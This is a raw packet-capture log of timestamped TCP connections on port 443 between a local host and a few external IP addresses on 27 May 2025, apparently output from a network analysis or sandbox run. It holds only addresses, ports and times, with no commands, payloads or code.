May 27, 2025 20:51:48.874675989 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.875125885 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.876413107 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.876432896 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.876724958 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.885442972 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.885624886 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.885895967 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.886228085 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.893193007 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.904308081 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.908185005 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.913239002 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.920533895 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.923782110 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.074498892 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.074536085 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.078632116 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.079212904 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.080044985 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.084280968 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.093108892 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.144949913 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.144988060 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.150135994 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.150397062 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.150443077 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.158152103 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.159301043 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.160072088 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.162288904 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.162319899 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.166172028 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.166202068 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.167849064 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.167874098 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.167901039 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.167934895 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.169673920 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.169687033 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.169718027 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.173775911 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.176920891 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.176928043 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.176943064 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.176984072 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.177006006 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.177042007 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.177078009 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.177103996 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.177105904 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.177175045 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.177181005 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.177200079 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.177237034 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.178035021 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.178056955 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.178090096 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.178124905 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.178625107 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.179300070 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.179347038 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.183615923 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.183636904 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.184680939 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.184696913 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.184725046 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.192517996 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.195837975 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.196662903 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.196948051 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.196970940 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.198899031 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.198920012 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.202471972 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.202501059 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.202550888 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.210921049 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.211061954 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.213818073 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.213835955 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.213865995 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.216278076 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.217372894 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.220146894 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.220163107 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.220196009 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.220206976 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.231050968 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.235728979 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.238015890 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.251358032 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.251426935 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.251463890 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.252305031 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.254275084 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.254287004 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.256735086 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.256757021 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.256810904 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.256836891 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.256864071 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.256907940 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.256937981 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.267642021 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.267663002 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.267713070 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.267719984 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.268053055 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.268053055 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.268059015 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.269763947 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.284667969 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.284769058 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.284837008 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.284873962 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.284897089 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.288394928 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.288407087 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.294820070 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.313110113 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.313215971 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.313286066 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.313318014 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.313340902 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.322465897 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.327255964 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.327284098 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.327307940 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.327328920 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.327348948 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.327368021 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.327385902 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.339380026 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.340574026 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.340715885 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.340728045 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.343231916 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.345808983 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.345813036 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.345813990 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.352310896 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.355475903 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.366807938 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.379295111 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.379365921 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.380074024 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.380589962 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.380918980 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.381094933 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.381103992 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.381603003 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.384090900 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.384160042 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.390716076 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.420300961 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.420361996 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.424155951 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.425880909 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.478424072 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.478672028 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.508821011 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.509212971 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.620105028 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.620170116 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.629964113 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.630007982 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.630007982 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.630038977 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.635032892 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.635062933 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.635080099 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.635102034 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.660270929 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.734143019 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.735290051 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.737437010 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.737765074 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.737903118 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.738277912 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.738481998 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.738725901 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.739135981 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.739202976 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.739237070 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.739542961 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.739830971 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.739983082 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.740449905 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.740621090 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.740864038 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.741278887 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.741348028 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.873219013 CEST	49671	443	192.168.2.4	204.79.197.203
May 27, 2025 20:51:49.911315918 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.911319971 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.911361933 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.911398888 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.911504984 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.911578894 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.911587000 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.911617994 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.911642075 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.911715031 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.911930084 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.911951065 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.912123919 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.912136078 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.912224054 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.912245035 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.912558079 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.912578106 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.912764072 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:49.912786007 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:49.942073107 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.942368031 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.942409992 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.942460060 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.942929029 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.943811893 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.946387053 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.947981119 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.950793982 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.951044083 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.951055050 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.951091051 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:49.954389095 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:49.988275051 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.002768993 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.003422022 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.003434896 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.003468037 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.004060030 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.006395102 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.018083096 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.018098116 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.018124104 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.018136024 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.018147945 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.018155098 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.019604921 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.021891117 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.031263113 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.031277895 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.031302929 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.031312943 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.031322956 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.031332970 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.031395912 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.032188892 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.041526079 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.041541100 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.041656017 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.042377949 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.042448044 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.042494059 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.042567015 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.047097921 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.047113895 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.047136068 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.047147036 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.047154903 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.047167063 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.048926115 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.050107002 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.050574064 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.050587893 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.060405016 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.060420990 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.060445070 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.060456038 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.060467958 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.060472965 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.063007116 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.065784931 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.076149940 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.076164961 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.076184988 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.076195002 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.076205015 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.076211929 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.080883980 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.081125021 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.091798067 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.091809988 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.091844082 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.091854095 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.091864109 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.091872931 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.092958927 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.095393896 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.105484009 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.105498075 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.105531931 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.105545044 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.110991001 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.113610983 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.121421099 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.121462107 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.121485949 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.121495962 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.122210026 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.122318983 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.135900021 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.135921955 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.135950089 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.144336939 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.144625902 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.150193930 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.150208950 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.150233030 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.154094934 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.154247046 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.166085958 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.166100025 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.166131020 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.173549891 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.182147026 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.182163000 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.182214975 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.186110973 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.194991112 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.195005894 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.195028067 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.197573900 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.199722052 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.200108051 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.210937023 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.210952044 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.210973978 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.211019993 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.211230040 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.224103928 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.224126101 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.224163055 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.225119114 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.225285053 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.239942074 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.239957094 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.240034103 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.240262985 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.256799936 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.256819010 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.258028984 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.258294106 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.265153885 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.265167952 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.265294075 CEST	443	49726	159.138.57.153	192.168.2.4
